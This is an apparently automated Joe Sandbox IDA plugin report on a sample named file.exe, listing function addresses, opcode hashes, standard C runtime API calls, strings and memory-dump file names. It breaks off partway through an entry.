Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ef553a1d65d3978c18886c2bb15a01d89db4fcd428e3a5c7db4e2bed6a9a817
Instruction ID: 5389f43ec39ee75392403e23fbfd76fa2bd260010aa27ac0ec3f2541111381a8
Opcode Fuzzy Hash: 5ef553a1d65d3978c18886c2bb15a01d89db4fcd428e3a5c7db4e2bed6a9a817
Instruction Fuzzy Hash: 93D02BF5D4400087D208DB30EC41D7A7363DF53358F2C6538D49743323ED20A91AD641

Uniqueness

Uniqueness Score: -1.00%

Function 00FAD140 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: ca49160f7e46b79449c9280ece49736659986de0ccc4c5b10c815b50419e50e4
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 27D0A7B1A487A50E67588D3804A0477FBE8EA47622B18149EE4D6E3115D224DC019698

Uniqueness

Uniqueness Score: -1.00%

Function 00FB4596 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8200fc7d2d573583891e1bba31400938cb5e0ea9c47964188cd9055f63c0c87
Instruction ID: 788bca69d2feae45ad3b26dce8ed9885c92b95749784a17baf084996e2d533b3
Opcode Fuzzy Hash: b8200fc7d2d573583891e1bba31400938cb5e0ea9c47964188cd9055f63c0c87
Instruction Fuzzy Hash: BDC08C1084C18047D268CA20486A8B1FB365843004A19A09FC09217843D0004008430E

Uniqueness

Uniqueness Score: -1.00%

Function 00FD7C45 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80123446512879f5016dfd296faa7ddc302e65d89cdab3defe70f9e72f0d9f2f
Instruction ID: 4dd3b5d6ccc5f6cfd1cd7914c3b472b2b3d73b96009015bbf0fde9d28f4bc44d
Opcode Fuzzy Hash: 80123446512879f5016dfd296faa7ddc302e65d89cdab3defe70f9e72f0d9f2f
Instruction Fuzzy Hash: 73C09B25F5D1988FD100DF17D980532727A57E734971CF0118001AB35DD935D407AB08

Uniqueness

Uniqueness Score: -1.00%

Function 00FD7C47 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8171c54953381c398625e03fa5402069a66d2de18c32af10bf04b85dab3633b1
Instruction ID: 7652dbf090065145e4cfd45cc32972e10dc175be9bd28020a4e9ba2fa8561ff0
Opcode Fuzzy Hash: 8171c54953381c398625e03fa5402069a66d2de18c32af10bf04b85dab3633b1
Instruction Fuzzy Hash: B1C09B34F5D1984FD604DF15D99143672B957D7345718F0149005E729DCD35D4079A0C

Uniqueness

Uniqueness Score: -1.00%

Function 010006C0 Relevance: 10.7, APIs: 7, Instructions: 239COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,00000100,?,?,?,?,?,?,?,?), ref: 01000790
_malloc.LIBCMT ref: 010007C9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,?,00000000,?,?,?,?,?), ref: 010007FC
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00000000,?,?,?,?,?), ref: 01000818
MultiByteToWideChar.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 01000852
_malloc.LIBCMT ref: 0100088B
__freea.LIBCMT ref: 010008EC

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$_malloc$__freea
String ID:
API String ID: 1187765244-0
Opcode ID: 4df83bdc0ceb92d5017a9fad7fea160388bbd6d3729ee887c9d0cb6986f29658
Instruction ID: a3e653a5e2a6c7ea712b00dee0b136b6bb882ae557b017f42dc8e74bf2220a84
Opcode Fuzzy Hash: 4df83bdc0ceb92d5017a9fad7fea160388bbd6d3729ee887c9d0cb6986f29658
Instruction Fuzzy Hash: 0C819271900149AFFF229F68CC80AAE3BF5FF48394F14456AFA99A6194C335C950DF91

Uniqueness

Uniqueness Score: -1.00%

Function 01005AAE Relevance: 9.1, APIs: 6, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 01005B30
MultiByteToWideChar.KERNEL32(?,00000001,?,0100402F,00000000,00000000,?,0100402F,00000001,00000000,?,?,?,?,?,?), ref: 01005B70
_malloc.LIBCMT ref: 01005B80
_memset.LIBCMT ref: 01005BA8
MultiByteToWideChar.KERNEL32(?,00000001,?,0100402F,00000000,00000000,?,?,?,?,?,?,?,0100402F,00000001,00000000), ref: 01005BBF
__freea.LIBCMT ref: 01005C47

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_malloc_memset_strlen
String ID:
API String ID: 3923921168-0
Opcode ID: 549fa5842cf4261937909a813077705417ce494dcb331be3b54f4c6d6c137960
Instruction ID: 34dd9a425e06e312ef3203a484c1a70c1c3b262cd2b4e0106ba06229d7eb826a
Opcode Fuzzy Hash: 549fa5842cf4261937909a813077705417ce494dcb331be3b54f4c6d6c137960
Instruction Fuzzy Hash: 39417871D00609AFEF12DF99CC80DEEBBF9EF88350F240565EA54A6190D735A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 01002725 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0100274D

Part of subcall function 00FFDE53: __getptd.LIBCMT ref: 00FFDE61
Part of subcall function 00FFDE53: __getptd.LIBCMT ref: 00FFDE6F

__getptd.LIBCMT ref: 01002757

Part of subcall function 00FFED41: __amsg_exit.LIBCMT ref: 00FFED51

__getptd.LIBCMT ref: 01002765
__getptd.LIBCMT ref: 01002773
__getptd.LIBCMT ref: 0100277E
_CallCatchBlock2.LIBCMT ref: 010027A4

Part of subcall function 00FFDEF8: __CallSettingFrame@12.LIBCMT ref: 00FFDF44

Part of subcall function 0100284B: __getptd.LIBCMT ref: 0100285A
Part of subcall function 0100284B: __getptd.LIBCMT ref: 01002868

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit
String ID:
API String ID: 3688206559-0
Opcode ID: 6a8d33a4cc9a762797994944255010d5d80b52f4048648cc00af3fb95077cbff
Instruction ID: ec13dddf2492ed304c3ce7462302bd188cfff06a75a9f567d247c308dfec0578
Opcode Fuzzy Hash: 6a8d33a4cc9a762797994944255010d5d80b52f4048648cc00af3fb95077cbff
Instruction Fuzzy Hash: 4C11D7B5C00209DFDF01EFA4C885BAD7BB4FF18314F14806AF954AB261DB389A15AF50

Uniqueness

Uniqueness Score: -1.00%

Function 01002474 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0100248E

Part of subcall function 00FFED41: __amsg_exit.LIBCMT ref: 00FFED51

__getptd.LIBCMT ref: 0100249F
__getptd.LIBCMT ref: 010024AD

Strings

csm, xrefs: 01002487
MOC, xrefs: 01002480

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: __getptd$__amsg_exit
String ID: MOC$csm
API String ID: 1969926928-1389381023
Opcode ID: 33b9cced6b741998e27e7e2c03043b0455c789580758d048f674bb0431158d77
Instruction ID: e3ba02de229ba7c8e26f0f9323e99867b9701ad789916b6cb8e6d6ee7cae64fe
Opcode Fuzzy Hash: 33b9cced6b741998e27e7e2c03043b0455c789580758d048f674bb0431158d77
Instruction Fuzzy Hash: B4E04F321101088FE752AB68C489B3C37E8FF54314F5E04E2E64CCB672DB38D488A942

Uniqueness

Uniqueness Score: -1.00%

Function 010078E0 Relevance: 7.8, APIs: 5, Instructions: 263COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 010079E1
__FindPESection.LIBCMT ref: 010079FB

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 417b9a0fd97ab8630ea12ca5e279b3b508be10dfd9e73c123811561298f48b94
Instruction ID: ab3aaf8628b2240b0a5d29e93accd67ee4af5719ef399790f254fbe93017f070
Opcode Fuzzy Hash: 417b9a0fd97ab8630ea12ca5e279b3b508be10dfd9e73c123811561298f48b94
Instruction Fuzzy Hash: 3C91F332A102098BEB26CF68D840BAD77A6FB84310F15426DDAD5973D5D73EF941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01003E45 Relevance: 7.7, APIs: 5, Instructions: 157COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,00000000,?,00000000,00000000,?,0100402F,00000001,00000000,?), ref: 01003EEB
_memset.LIBCMT ref: 01003F40
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000,?,?,?,00000000,00000001,?), ref: 01003F55
__freea.LIBCMT ref: 01003F6D

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_memset
String ID:
API String ID: 2568176243-0
Opcode ID: 6d739e8b207fa305f6ce35187df021b308f917f903bc0d2403cfe939a35e0095
Instruction ID: 4af32488a8dc57210231f44b030ad2f82a5bf22970dd06ecafaf55cb382e6cf6
Opcode Fuzzy Hash: 6d739e8b207fa305f6ce35187df021b308f917f903bc0d2403cfe939a35e0095
Instruction Fuzzy Hash: 09518AB250010AAFEF139FA8CC81DBF7BF9FB48354F144569FA949B190D631C9618BA1

Uniqueness

Uniqueness Score: -1.00%

Function 01001B59 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 01001B6E

Part of subcall function 00FFE737: __setmbcp.LIBCMT ref: 00FFE742

_parse_cmdline.LIBCMT ref: 01001BB0
_parse_cmdline.LIBCMT ref: 01001BF1

Strings

C:\Users\user\Desktop\file.exe, xrefs: 01001B78, 01001B7D

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: _parse_cmdline$___initmbctable__setmbcp
String ID: C:\Users\user\Desktop\file.exe
API String ID: 1290970244-1957095476
Opcode ID: aa923391835633a846cf614792a5cdd568a336f3e10661e26c4182718d295328
Instruction ID: 521b10c3fc3585d28d1ab4d8916b48e1c840d34983b82cb29d070f9284e3d5a7
Opcode Fuzzy Hash: aa923391835633a846cf614792a5cdd568a336f3e10661e26c4182718d295328
Instruction Fuzzy Hash: A821B772D00119EFDB12EBB89C80CDE7BB9EA85324F1406A5E691E72C0D734DA45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01005934 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 01005968
__isleadbyte_l.LIBCMT ref: 0100599C
MultiByteToWideChar.KERNEL32(?,00000009,?,?,?,00000000,?,?,?,?), ref: 010059CD
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,?,00000000,?,?,?,?), ref: 01005A3B

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 4f4a366e7a1a9b69a51a166f521f00a7618267edfeb9792870570a7c32946d36
Instruction ID: ec6bb14b70cb4b1520838223ff398c2887b5bd9eb3009dc8df94dca09af56911
Opcode Fuzzy Hash: 4f4a366e7a1a9b69a51a166f521f00a7618267edfeb9792870570a7c32946d36
Instruction Fuzzy Hash: FE319031A00246EFEB22DF68CC84ABD7BE5AF02320F1585A9E5D58B1D1E7319990DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00FFEAF5 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00FFC61F,?,00FFF598,?,00FFF568,00FFC61F,?,?,00FFC61F,?), ref: 00FFEB07
TlsGetValue.KERNEL32(00000005,?,00FFF598,?,00FFF568,00FFC61F,?,?,00FFC61F,?), ref: 00FFEB1E

Strings

KERNEL32.DLL, xrefs: 00FFEB2E, 00FFEB33, 00FFEB3E
DecodePointer, xrefs: 00FFEB49

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: Value
String ID: DecodePointer$KERNEL32.DLL
API String ID: 3702945584-629428536
Opcode ID: d4ddbfaacb352efc85bd15364765e4f631755306fb0c9677f76f7deed06aee54
Instruction ID: 6df20889902151240a176f74feada96e94a8cf648115da00cda56cedfd9be8c0
Opcode Fuzzy Hash: d4ddbfaacb352efc85bd15364765e4f631755306fb0c9677f76f7deed06aee54
Instruction Fuzzy Hash: 54F0AF34D0121A6A9F226B66EC44DBA3A98DF842B4B084021FA4DE70B4DB25DC009A90

Uniqueness

Uniqueness Score: -1.00%

Function 00FFEA7A Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00FFF3BE,00FFC64C,?,?,?,00FFF42A,00FFC64C,0100BDC8,0000000C,00FFF456,00FFC64C,?,00FFC64C), ref: 00FFEA8C
TlsGetValue.KERNEL32(00000005,?,00FFF3BE,00FFC64C,?,?,?,00FFF42A,00FFC64C,0100BDC8,0000000C,00FFF456,00FFC64C,?,00FFC64C), ref: 00FFEAA3

Strings

KERNEL32.DLL, xrefs: 00FFEAB3, 00FFEAB8, 00FFEAC3
EncodePointer, xrefs: 00FFEACE

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: Value
String ID: EncodePointer$KERNEL32.DLL
API String ID: 3702945584-3682587211
Opcode ID: 417f8660b74022651e14545d53c831ec70b8325a9224ef87017707103440fb99
Instruction ID: ba5d7fa3ceb1ad5d80085acdbbd6fbbef89ac2bcf6dfce36a42549d080f472bf
Opcode Fuzzy Hash: 417f8660b74022651e14545d53c831ec70b8325a9224ef87017707103440fb99
Instruction Fuzzy Hash: 6CF04431D0151A6A9B21AB26DD049BB3A98EE443B4B045420FD58E61B1DB39DD01AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00FB351C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00FB35E1
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,?,?,?), ref: 00FB3612

Strings

E&eb, xrefs: 00FB3787

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: E&eb
API String ID: 237503144-175690455
Opcode ID: f3f710c82bda30bb8014b66846693d917231787496c7f377f847b2346ec10a61
Instruction ID: ae782a2ef50e4c866d581f62f94542a71cebc30d2430651003a1b7b99b74d0c7
Opcode Fuzzy Hash: f3f710c82bda30bb8014b66846693d917231787496c7f377f847b2346ec10a61
Instruction Fuzzy Hash: B26174B1640B005FD328CF78CC82BA7B3E6EB45324F148A2DD4A6C77D1E774A9458B51

Uniqueness

Uniqueness Score: -1.00%

Function 00FD1CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,m%s,00000008,?), ref: 00FD1DB3

Strings

!EJK, xrefs: 00FD1D0C
m%s, xrefs: 00FD1D58

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
